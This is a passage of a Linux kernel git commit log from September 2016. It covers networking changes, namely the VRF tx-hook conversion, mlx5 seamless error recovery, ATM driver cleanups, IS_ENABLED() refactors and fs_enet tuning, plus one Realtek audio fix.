+0200 Merge branch 'for-linus' into for-next Back-merge from for-linus just to make the further development easier. commit 3f640970a41429f0a076c01270bbd014c9eae61c Author: Hui Wang Date: Sun Sep 11 11:26:16 2016 +0800 ALSA: hda - Fix headset mic detection problem for several Dell laptops One of the laptops has the codec ALC256 on it, applying the ALC255_FIXUP_DELL1_MIC_NO_PRESENCE can fix the problem, the rest of laptops have the codec ALC295 on them, they are similar to machines with ALC225, applying the ALC269_FIXUP_DELL1_MIC_NO_PRESENCE can fix the problem. Cc: Signed-off-by: Hui Wang Signed-off-by: Takashi Iwai sound/pci/hda/patch_realtek.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 8fee3156034a844c0da62b338ef7651cfb0fc8b1 Merge: cf9932a c71ad3d Author: David S. Miller Date: Sat Sep 10 23:12:54 2016 -0700 Merge branch 'vrf-tx-hook' David Ahern says: ==================== net: Convert vrf to tx hook The motivation for this series is that ICMP Unreachable - Fragmentation Needed packets are not handled properly for VRFs. Specifically, the FIB lookup in __ip_rt_update_pmtu fails so no nexthop exception is created with the reduced MTU. As a result connections stall if packets larger than the smallest MTU in the path are generated. While investigating that problem I also noticed that the MSS for all connections in a VRF is based on the VRF device's MTU and not the route the packets ultimately go through. VRF currently uses a dst to direct packets to the device. The first FIB lookup returns this dst and then the lookup in the VRF driver gets the actual output route. A side effect of this design is that the VRF dst is cached on sockets and then used for calculations like the MSS. This series fixes this problem by removing the hook in the FIB lookups that returns the dst pointing to the VRF device to the VRF and always doing the actual FIB lookup. This allows the real dst to be used throughout the stack (for example the MSS). Packets are diverted to the VRF device on Tx using an l3mdev hook in the output path similar to to what is done for Rx. The end result is a simpler implementation for VRF with fewer intrusions into the network stack and symmetrical packet handling for Rx and Tx paths. Comparison of netperf performance for a build without l3mdev (best case performance), the old vrf driver and the VRF driver from this series. Data are collected using VMs with virtio + vhost. The netperf client runs in the VM and netserver runs in the host. 1-byte RR tests are done as these packets exaggerate the performance hit due to the extra lookups done for l3mdev and VRF. Command: netperf -cC -H ${ip} -l 60 -t {TCP,UDP}_RR [-J red] TCP_RR UDP_RR IPv4 IPv6 IPv4 IPv6 no l3mdev 29,996 30,601 31,638 24,336 vrf old 27,417 27,626 29,159 24,801 vrf new 28,036 28,372 30,110 24,857 l3mdev, no vrf 29,534 30,465 30,670 24,346 * Transactions per second as reported by netperf * netperf modified to take a bind-to-device argument -- the -J red option 1. 'no l3mdev' == NET_L3_MASTER_DEV is unset so code is compiled out 2. 'vrf old' == data for existing implementation 3. 'vrf new' == data with this series 4. 'l3mdev, no vrf' == NET_L3_MASTER_DEV is enabled but traffic is not going through a VRF About the series - patch 1 adds the flow update (changing oif or iif to L3 master device and setting the flag to skip the oif check) to ipv4 and ipv6 paths just before hitting the rules. This catches all code paths in a single spot. - patch 2 adds the Tx hook to push the packet to the l3mdev if relevant - patch 3 adds some checks so the vrf device can act as a vrf-local loopback. These changes were not needed before since the vrf dst was returned from the lookup. - patches 4 and 5 flip the ipv4 and ipv6 stacks to the tx hook leaving the route lookup to be the real one. The dst flip happens at the beginning of the L3 output path so the VRFs can have device based features such as netfilter, tc and tcpdump. - patches 6-11 remove no longer needed l3mdev code v2 - properly handle IPv6 link scope addresses - keep the device xmit path and associated dst which is switched in by the l3_out hook. packets still need to go through the xmit path in case the user puts a qdisc on the vrf device and to allow tc rules. version 1 short circuited the tx handling and only covered netfilter and tcpdump. ==================== Signed-off-by: David S. Miller commit c71ad3d45a5e928e617ca436f3ce88bb773fb766 Author: David Ahern Date: Sat Sep 10 12:10:02 2016 -0700 net: flow: Remove FLOWI_FLAG_L3MDEV_SRC flag No longer used Signed-off-by: David Ahern Signed-off-by: David S. Miller drivers/net/vrf.c | 5 ++--- include/net/flow.h | 3 +-- 2 files changed, 3 insertions(+), 5 deletions(-) commit afb460fe0ef0af6d98ed51006153acb01278df2d Author: David Ahern Date: Sat Sep 10 12:10:01 2016 -0700 net: l3mdev: remove get_rtable method No longer used Signed-off-by: David Ahern Signed-off-by: David S. Miller drivers/net/vrf.c | 21 --------------------- include/net/l3mdev.h | 21 --------------------- 2 files changed, 42 deletions(-) commit ca28b8f2b8f316b9973693c72770c98da3e9500e Author: David Ahern Date: Sat Sep 10 12:10:00 2016 -0700 net: l3mdev: Remove l3mdev_fib_oif No longer used Signed-off-by: David Ahern Signed-off-by: David S. Miller include/net/l3mdev.h | 29 ----------------------------- 1 file changed, 29 deletions(-) commit 8a966fc016b67d2a8ab4a83d22ded8cde032a0eb Author: David Ahern Date: Sat Sep 10 12:09:59 2016 -0700 net: ipv6: Remove l3mdev_get_saddr6 No longer needed Signed-off-by: David Ahern Signed-off-by: David S. Miller drivers/net/vrf.c | 41 ----------------------------------------- include/net/l3mdev.h | 11 ----------- net/ipv6/ip6_output.c | 9 +-------- net/l3mdev/l3mdev.c | 24 ------------------------ 4 files changed, 1 insertion(+), 84 deletions(-) commit d66f6c0a8f3c0bcc4ee7a9b1da4b0ebe7ee555a3 Author: David Ahern Date: Sat Sep 10 12:09:58 2016 -0700 net: ipv4: Remove l3mdev_get_saddr No longer needed Signed-off-by: David Ahern Signed-off-by: David S. Miller drivers/net/vrf.c | 38 -------------------------------------- include/net/l3mdev.h | 12 ------------ include/net/route.h | 10 ---------- net/ipv4/raw.c | 6 ------ net/ipv4/udp.c | 6 ------ net/l3mdev/l3mdev.c | 31 ------------------------------- 6 files changed, 103 deletions(-) commit e0d56fdd734224666e7bd5fafbc620286d2a7ee8 Author: David Ahern Date: Sat Sep 10 12:09:57 2016 -0700 net: l3mdev: remove redundant calls A previous patch added l3mdev flow update making these hooks redundant. Remove them. Signed-off-by: David Ahern Signed-off-by: David S. Miller net/ipv4/ip_output.c | 3 +-- net/ipv4/route.c | 12 ++---------- net/ipv4/xfrm4_policy.c | 2 +- net/ipv6/ip6_output.c | 2 -- net/ipv6/ndisc.c | 11 ++--------- net/ipv6/route.c | 7 +------ net/ipv6/tcp_ipv6.c | 8 ++------ net/ipv6/xfrm6_policy.c | 2 +- 8 files changed, 10 insertions(+), 37 deletions(-) commit 4c1feac58e06270321cc500b85c2d94a11495775 Author: David Ahern Date: Sat Sep 10 12:09:56 2016 -0700 net: vrf: Flip IPv6 output path from FIB lookup hook to out hook Flip the IPv6 output path to use the l3mdev tx out hook. The VRF dst is not returned on the first FIB lookup. Instead, the dst on the skb is switched at the beginning of the IPv6 output processing to send the packet to the VRF driver on xmit. Link scope addresses (linklocal and multicast) need special handling: specifically the oif the flow struct can not be changed because we want the lookup tied to the enslaved interface. ie., the source address and the returned route MUST point to the interface scope passed in. Convert the existing vrf_get_rt6_dst to handle only link scope addresses. Signed-off-by: David Ahern Signed-off-by: David S. Miller drivers/net/vrf.c | 124 ++++++++++++++++++++++++++++++++++----------------- include/net/l3mdev.h | 8 ++-- net/ipv6/route.c | 11 +++-- net/l3mdev/l3mdev.c | 15 +++---- 4 files changed, 100 insertions(+), 58 deletions(-) commit ebfc102c566d0d9c174ff9b721fd35ebda01f7eb Author: David Ahern Date: Sat Sep 10 12:09:55 2016 -0700 net: vrf: Flip IPv4 output path from FIB lookup hook to out hook Flip the IPv4 output path to use the l3mdev tx out hook. The VRF dst is not returned on the first FIB lookup. Instead, the dst on the skb is switched at the beginning of the IPv4 output processing to send the packet to the VRF driver on xmit. Signed-off-by: David Ahern Signed-off-by: David S. Miller drivers/net/vrf.c | 64 ++++++++++++++++++++++++++++++++++++++++++++++++++++++- net/ipv4/route.c | 4 ---- 2 files changed, 63 insertions(+), 5 deletions(-) commit 5f02ce24c2696fec33f2a5dfcf753996f5fdd211 Author: David Ahern Date: Sat Sep 10 12:09:54 2016 -0700 net: l3mdev: Allow the l3mdev to be a loopback Allow an L3 master device to act as the loopback for that L3 domain. For IPv4 the device can also have the address 127.0.0.1. Signed-off-by: David Ahern Signed-off-by: David S. Miller include/net/l3mdev.h | 6 +++--- net/ipv4/route.c | 8 ++++++-- net/ipv6/route.c | 12 ++++++++++-- 3 files changed, 19 insertions(+), 7 deletions(-) commit a8e3e1a9f02094145580ea7920c6a1d9aabd5539 Author: David Ahern Date: Sat Sep 10 12:09:53 2016 -0700 net: l3mdev: Add hook to output path This patch adds the infrastructure to the output path to pass an skb to an l3mdev device if it has a hook registered. This is the Tx parallel to l3mdev_ip{6}_rcv in the receive path and is the basis for removing the existing hook that returns the vrf dst on the fib lookup. Signed-off-by: David Ahern Signed-off-by: David S. Miller include/net/l3mdev.h | 48 ++++++++++++++++++++++++++++++++++++++++++++++++ net/ipv4/ip_output.c | 8 ++++++++ net/ipv6/ip6_output.c | 8 ++++++++ net/ipv6/output_core.c | 7 +++++++ net/ipv6/raw.c | 7 +++++++ 5 files changed, 78 insertions(+) commit 9ee0034b8f49aaaa7e7c2da8db1038915db99c19 Author: David Ahern Date: Sat Sep 10 12:09:52 2016 -0700 net: flow: Add l3mdev flow update Add l3mdev hook to set FLOWI_FLAG_SKIP_NH_OIF flag and update oif/iif in flow struct if its oif or iif points to a device enslaved to an L3 Master device. Only 1 needs to be converted to match the l3mdev FIB rule. This moves the flow adjustment for l3mdev to a single point catching all lookups. It is redundant for existing hooks (those are removed in later patches) but is needed for missed lookups such as PMTU updates. Signed-off-by: David Ahern Signed-off-by: David S. Miller include/net/l3mdev.h | 6 ++++++ net/ipv4/fib_rules.c | 3 +++ net/ipv6/fib6_rules.c | 3 +++ net/l3mdev/l3mdev.c | 35 +++++++++++++++++++++++++++++++++++ 4 files changed, 47 insertions(+) commit cf9932a9414e241571008edd7412ab22f02b5704 Author: Markus Elfring Date: Sat Sep 10 10:38:04 2016 +0200 ATM-ZeitNet: Fix indentation for one DPRINTK() call in start_rx() Adjust the indentation for a call of the macro "DPRINTK" in this function. Signed-off-by: Markus Elfring Signed-off-by: David S. Miller drivers/atm/zatm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0f0d0ed0870eca21e36dc520d7d9be292c103f80 Author: Markus Elfring Date: Sat Sep 10 10:21:15 2016 +0200 ATM-ZeitNet: Replace one kzalloc() call by kcalloc() * The script "checkpatch.pl" can point information out like the following. WARNING: Prefer kcalloc over kzalloc with multiply Thus fix the affected source code place. * Replace the specification of a data type by a pointer dereference to make the corresponding size determination a bit safer according to the Linux coding style convention. * Delete the local variable "size" which became unnecessary with this refactoring. Signed-off-by: Markus Elfring Signed-off-by: David S. Miller drivers/atm/zatm.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 5ad3ea3d3952dcbb8047f97fbfa49804ea53a53a Author: Markus Elfring Date: Sat Sep 10 10:07:38 2016 +0200 ATM-ZeitNet: Improve a size determination in zatm_open() Replace the specification of a data structure by a pointer dereference as the parameter for the operator "sizeof" to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: David S. Miller drivers/atm/zatm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 32230ac1ccbd66f36bd6955eddc45fc06861c1b5 Author: Markus Elfring Date: Sat Sep 10 09:55:53 2016 +0200 ATM-ZeitNet: Use kmalloc_array() in start_tx() * A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. * Replace the specification of a data type by a pointer dereference to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: David S. Miller drivers/atm/zatm.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 0ba8abb770a8771ffb05cce2a5a7441530f06a55 Author: Markus Elfring Date: Sat Sep 10 08:56:03 2016 +0200 ATM-nicstar: Refactor a dev_alloc_skb() call in dequeue_rx() The script "checkpatch.pl" can point out that assignments should usually not be performed within condition checks. Thus move an assignment for a local variable to a separate statement in this function. Signed-off-by: Markus Elfring Signed-off-by: David S. Miller drivers/atm/nicstar.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 304f0a4edbbb2d273d7c6043df4126b623cd472c Author: Markus Elfring Date: Sat Sep 10 08:48:17 2016 +0200 ATM-nicstar: Refactor a kmalloc() call in ns_init_card() * The script "checkpatch.pl" can point out that assignments should usually not be performed within condition checks. Thus move an assignment for a local variable to a separate statement in this function. * Replace the specification of a data structure by a pointer dereference as the parameter for the operator "sizeof" to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: David S. Miller drivers/atm/nicstar.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit ee41f07c2f2c944465ade7c9591a6139a783be41 Author: Markus Elfring Date: Sat Sep 10 08:30:09 2016 +0200 ATM-nicstar: Improve another size determination in ns_init_card() Replace the specification of a data structure by a reference for a field in a local variable as the parameter for the operator "sizeof" to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: David S. Miller drivers/atm/nicstar.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 24310fd565b16ec7c39e3db5b0240f0cdbbd0475 Author: Markus Elfring Date: Sat Sep 10 08:18:10 2016 +0200 ATM-nicstar: Improve another size determination in get_scq() Replace the specification of a data structure by a pointer dereference as the parameter for the operator "sizeof" to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: David S. Miller drivers/atm/nicstar.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 78706121d59d0692534d087df6eefef5469fc5a1 Author: Markus Elfring Date: Sat Sep 10 08:02:06 2016 +0200 ATM-nicstar: Use kmalloc_array() in get_scq() * A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. * Replace the specification of a data type by a pointer dereference to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: David S. Miller drivers/atm/nicstar.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 2594a2a928a010bf27e6545f90bc2de7ed5ed075 Author: Eric Dumazet Date: Fri Sep 9 14:22:45 2016 -0700 tcp: better use ooo_last_skb in tcp_data_queue_ofo() Willem noticed that we could avoid an rbtree lookup if the the attempt to coalesce incoming skb to the last skb failed for some reason. Since most ooo additions are at the tail, this is definitely worth adding a test and fast path. Suggested-by: Willem de Bruijn Signed-off-by: Eric Dumazet Cc: Yaogong Wang Cc: Yuchung Cheng Cc: Neal Cardwell Cc: Ilpo Järvinen Signed-off-by: David S. Miller net/ipv4/tcp_input.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit ed227099dac95128e2aecd62af51bb9d922e5977 Author: Thadeu Lima de Souza Cascardo Date: Fri Sep 9 17:42:30 2016 -0300 openvswitch: use alias for genetlink family names When userspace tries to create datapaths and the module is not loaded, it will simply fail. With this patch, the module will be automatically loaded. Signed-off-by: Thadeu Lima de Souza Cascardo Acked-by: Pravin B Shelar Signed-off-by: David S. Miller net/openvswitch/datapath.c | 4 ++++ 1 file changed, 4 insertions(+) commit 3a8963acc70e69606729404713cfa9a03b58b18c Author: Stephen Hemminger Date: Fri Sep 9 12:45:24 2016 -0700 Revert "hv_netvsc: make inline functions static" These functions are used by other code misc-next tree. This reverts commit 30d1de08c87ddde6f73936c3350e7e153988fe02. Signed-off-by: Stephen Hemminger Signed-off-by: David S. Miller drivers/net/hyperv/netvsc.c | 85 +-------------------------------------------- include/linux/hyperv.h | 84 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 85 insertions(+), 84 deletions(-) commit 55fdbb01b19fbc16e633ae4f5bc3d61f18dce897 Merge: 48b4e51 f1ee87f Author: David S. Miller Date: Sat Sep 10 21:21:51 2016 -0700 Merge branch 'mlx5-next' Saeed Mahameed says: ==================== Mellanox 100G mlx5 seamless error recovery This series from Mohamad improves the driver load/unload flows to seamlessly handle pci errors and device internal errors recovery reset flows. Current pci and internal error handling is too heavy and is done with a full restart of the driver by unregistering mlx5 interfaces (mlx5e netedevs and mlx5_ib) which will cause losing all the current interfaces and mlx5 core configurations. To improve this, we add new callback functions of mlx5 interface object (attach/detach) to be called upon reset flows when errors are detected rather than calling register and unregister interfaces. On their side, interfaces such as (mlx5e and mlx5_ib) can choose to implement those callback, if not, the old heavy reset will be called for that interface. For non-interface mlx5 modules such as sriov and eswitch, we refactored and reorganized the code in a way that the software state objects are created only once on driver load. Those software state objects are kept upon reset recovery flows and only freed once on driver unload. On seamless soft reset flows, only hardware resources are released on stop and re-allocated on start according to the current soft state. In this series only mlx5e interface implements attach/detach callbacks so that the netdevice will be kept alive on reset. On detach only hardware resources are released and the netdevice will be marked as detached to the stack. Once attached again it will re-allocate the hardware resources according to the current netdevice state, and all the configurations and the software state will be kept or restored after recovery. Note: I will be out of office all next week, in case of any updates or V2 is required, Tariq will post the new series, I hope it is ok. ==================== Signed-off-by: David S. Miller commit f1ee87fe55c86d4c5adc804db15b3ed06169fba5 Author: Mohamad Haj Yahia Date: Fri Sep 9 17:35:27 2016 +0300 net/mlx5: Organize device list API in one place Hide the exposed (external) mlx5_dev_list and mlx5_intf_mutex and expose an organized modular API to manage and manipulate mlx5 devices list. Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/Makefile | 2 +- drivers/net/ethernet/mellanox/mlx5/core/dev.c | 345 +++++++++++++++++++++ drivers/net/ethernet/mellanox/mlx5/core/lag.c | 24 +- drivers/net/ethernet/mellanox/mlx5/core/main.c | 270 ---------------- .../net/ethernet/mellanox/mlx5/core/mlx5_core.h | 17 +- 5 files changed, 362 insertions(+), 296 deletions(-) commit 9df30601c843aeb9877c966d9d75d4947117c923 Author: Mohamad Haj Yahia Date: Fri Sep 9 17:35:26 2016 +0300 net/mlx5e: Restore vlan filter after seamless reset When detaching the mlx5e interface clear all the vlans rules from the vlan flow table. When attaching it back restore all the active vlans rules to the HW. Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en_fs.c | 38 +++++++++++++++++++++---- 1 file changed, 32 insertions(+), 6 deletions(-) commit 26e59d8077a31972dc81fe5ff75aa4fd5b260b71 Author: Mohamad Haj Yahia Date: Fri Sep 9 17:35:25 2016 +0300 net/mlx5e: Implement mlx5e interface attach/detach callbacks Needed to support seamless and lightweight PCI/Internal error recovery. Implement the attach/detach interface callbacks. In attach callback we only allocate HW resources. In detach callback we only deallocate HW resources. All SW/kernel objects initialzing/destroying is kept in add/remove callbacks. Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/en.h | 7 +- drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 200 ++++++++++++++++------ drivers/net/ethernet/mellanox/mlx5/core/en_rep.c | 39 ++++- 3 files changed, 183 insertions(+), 63 deletions(-) commit 1ab2068a4c663cbb2e0e0cfea934bc4e163abed0 Author: Mohamad Haj Yahia Date: Fri Sep 9 17:35:24 2016 +0300 net/mlx5: Implement vports admin state backup/restore Save the user configuration in the vport sturct. Restore saved old configuration upon vport enable. Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/eswitch.c | 249 ++++++++++------------ drivers/net/ethernet/mellanox/mlx5/core/eswitch.h | 16 +- 2 files changed, 124 insertions(+), 141 deletions(-) commit c2d6e31a0008f8188f935f8dd81c81c44697b256 Author: Mohamad Haj Yahia Date: Fri Sep 9 17:35:23 2016 +0300 net/mlx5: Align sriov/eswitch modules with the new load/unload flow. Init/cleanup sriov/eswitch in the core software context init/cleanup flows. Attach/detach sriov/eswitch in the core load/unload flows. Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/eswitch.c | 2 -- drivers/net/ethernet/mellanox/mlx5/core/main.c | 42 +++++++++++++++++------ drivers/net/ethernet/mellanox/mlx5/core/sriov.c | 4 +-- 3 files changed, 34 insertions(+), 14 deletions(-) commit 62a9b90ad83ebe584bf22a2e716a96e75f82e137 Author: Mohamad Haj Yahia Date: Fri Sep 9 17:35:22 2016 +0300 net/mlx5: Implement eswitch attach/detach flows Needed for lightweight and modular internal/pci error handling. Implement eswitch attach function which allocates/starts hw related resources. Implement eswitch detach function which releases/stops hw related resources. Init/cleanup function only handle eswitch software context allocation and destruction. Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/eswitch.c | 24 ++++++++++++++++++++--- drivers/net/ethernet/mellanox/mlx5/core/eswitch.h | 2 ++ 2 files changed, 23 insertions(+), 3 deletions(-) commit acab721b5d8d9431cc80acc827973eeeda4dec24 Author: Mohamad Haj Yahia Date: Fri Sep 9 17:35:21 2016 +0300 net/mlx5: Implement SRIOV attach/detach flows Needed for lightweight and modular internal/pci error handling. Implement sriov attach function which enables pre-saved number of vfs on the device side. Implement sriov detach function which disable the current vfs on the device side. Init/cleanup function only handles sriov software context allocation and destruction. Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller .../net/ethernet/mellanox/mlx5/core/mlx5_core.h | 2 ++ drivers/net/ethernet/mellanox/mlx5/core/sriov.c | 29 ++++++++++++++++------ 2 files changed, 23 insertions(+), 8 deletions(-) commit 59211bd3b6329c3e5f4a90ac3d7f87ffa7867073 Author: Mohamad Haj Yahia Date: Fri Sep 9 17:35:20 2016 +0300 net/mlx5: Split the load/unload flow into hardware and software flows Gather all software context creating/destroying in one function and call it once in the first load and in the last unload. load/unload functions will now receive indication if we need to create/destroy the software contexts. In internal/pci error do the unload/load flows without releasing the software objects. In this way we perserve the sw core state and it help us restoring old driver state after PCI error/shutdown. Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/main.c | 171 ++++++++++++++++--------- 1 file changed, 107 insertions(+), 64 deletions(-) commit 737a234bb6384800a5b632be85c6b0ad6221d137 Author: Mohamad Haj Yahia Date: Fri Sep 9 17:35:19 2016 +0300 net/mlx5: Introduce attach/detach to interface API Add attach/detach callbacks to interface API. This is crucial for implementing seamless reset flow which releases the hardware and it's resources upon detach while keeping software structures and state (e.g netdev) then reset and reallocate the hardware needed resources upon attach. Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/main.c | 149 +++++++++++++++++++++---- include/linux/mlx5/driver.h | 2 + 2 files changed, 131 insertions(+), 20 deletions(-) commit 6b6adee3dad25bbe568ee24fc843372d02fb425f Author: Mohamad Haj Yahia Date: Fri Sep 9 17:35:18 2016 +0300 net/mlx5: SRIOV core code refactoring Simplify the code and makes it look modular and symmetric. Split sriov enable/disable to two levels: device level and pci level. When user enable/disable sriov (via sriov_configure driver callback) we will enable/disable both device and pci sriov. When driver load/unload we will enable/disable (on demand) only device sriov while keeping the PCI sriov enabled for next driver load. On internal/pci error, VFs will be kept enabled on PCI and the reset is done only in device level. Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/main.c | 12 +- .../net/ethernet/mellanox/mlx5/core/mlx5_core.h | 2 + drivers/net/ethernet/mellanox/mlx5/core/sriov.c | 216 +++++++++------------ include/linux/mlx5/driver.h | 2 - 4 files changed, 101 insertions(+), 131 deletions(-) commit d62292e85028e553943a285cb6006de0f17dea1e Author: Mohamad Haj Yahia Date: Fri Sep 9 17:35:17 2016 +0300 net/mlx5: Skip waiting for vf pages in internal error In case of device in internal error state there is no need to wait for vf pages since they will be reclaimed manually later in the unload flow. Signed-off-by: Mohamad Haj Yahia Signed-off-by: Saeed Mahameed Signed-off-by: David S. Miller drivers/net/ethernet/mellanox/mlx5/core/pagealloc.c | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit 48b4e51fa7ede17830a2655ed6edde2c738c4461 Merge: 34c1b08 65b323e Author: David S. Miller Date: Sat Sep 10 21:19:12 2016 -0700 Merge branch 'net-is_enabled' Javier Martinez Canillas says: ==================== net: use IS_ENABLED() instead of checking for built-in or module This trivial series replace the open coding to check for a Kconfig symbol being built-in or module, with IS_ENABLED() macro that does exactly that. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. ==================== Signed-off-by: David S. Miller commit 65b323e2ffbb05db4136ee822e08a9b0ec6ac716 Author: Javier Martinez Canillas Date: Fri Sep 9 08:43:20 2016 -0400 xfrm: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller net/xfrm/xfrm_algo.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit aebf5de07aabd44db740c9d33b6daa1abd19fa56 Author: Javier Martinez Canillas Date: Fri Sep 9 08:43:19 2016 -0400 sctp: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Acked-by: Neil Horman Signed-off-by: David S. Miller net/sctp/auth.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0013de38a829db3f83a36e3e178ff386eb589c51 Author: Javier Martinez Canillas Date: Fri Sep 9 08:43:18 2016 -0400 net: sched: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller net/sched/cls_flow.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 9dd79945b0f846ca5282c7df7ecf3823f0243898 Author: Javier Martinez Canillas Date: Fri Sep 9 08:43:17 2016 -0400 l2tp: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller net/l2tp/l2tp_core.h | 2 +- net/l2tp/l2tp_eth.c | 4 ++-- net/l2tp/l2tp_ppp.c | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) commit 6ca40d4e8463c53e6b778010b9331268865725a6 Author: Javier Martinez Canillas Date: Fri Sep 9 08:43:16 2016 -0400 ipv4: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller net/ipv4/ip_output.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 181402a5c7899fad945485130ded47ca2bf1161e Author: Javier Martinez Canillas Date: Fri Sep 9 08:43:15 2016 -0400 net: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller net/core/dev.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 9a81c34ace3598188f633d4654a2a57b7f7a2c2a Author: Javier Martinez Canillas Date: Fri Sep 9 08:43:14 2016 -0400 lec: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller net/atm/lec.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit a73ec314a0d28cdbc29b4e4ad10871df0829986d Author: Javier Martinez Canillas Date: Fri Sep 9 08:43:13 2016 -0400 appletalk: use IS_ENABLED() instead of checking for built-in or module The IS_ENABLED() macro checks if a Kconfig symbol has been enabled either built-in or as a module, use that macro instead of open coding the same. Using the macro makes the code more readable by helping abstract away some of the Kconfig built-in and module enable details. Signed-off-by: Javier Martinez Canillas Signed-off-by: David S. Miller net/appletalk/ddp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 34c1b089d9aa964d61edf144e0164e864d07f8ef Merge: d1ba24f b0ba357 Author: David S. Miller Date: Sat Sep 10 21:17:14 2016 -0700 Merge branch 'fs_enet-opt' Christophe Leroy says: ==================== Optimisation of fs_enet ethernet driver This set optimises the freescale fs_enet ethernet driver: 1/ Merge of RX and TX NAPI functions in order to limit the amount of interrupts 2/ Do not unmap DMA when packets len is below copybreak, otherwise there is no benefit in copying the skb instead of allocating a new one 3/ Make copybreak value configurable as the optimised value is not the same on all targets ==================== Signed-off-by: David S. Miller commit b0ba357bfb463bb10fe486c99c5dff892fa207fa Author: Christophe Leroy Date: Fri Sep 9 14:26:25 2016 +0200 net: fs_enet: make rx_copybreak value configurable Measurement shows that on a MPC8xx running at 132MHz, the optimal limit is 112: * 114 bytes packets are processed in 147 TB ticks with higher copybreak * 114 bytes packets are processed in 148 TB ticks with lower copybreak * 128 bytes packets are processed in 154 TB ticks with higher copybreak * 128 bytes 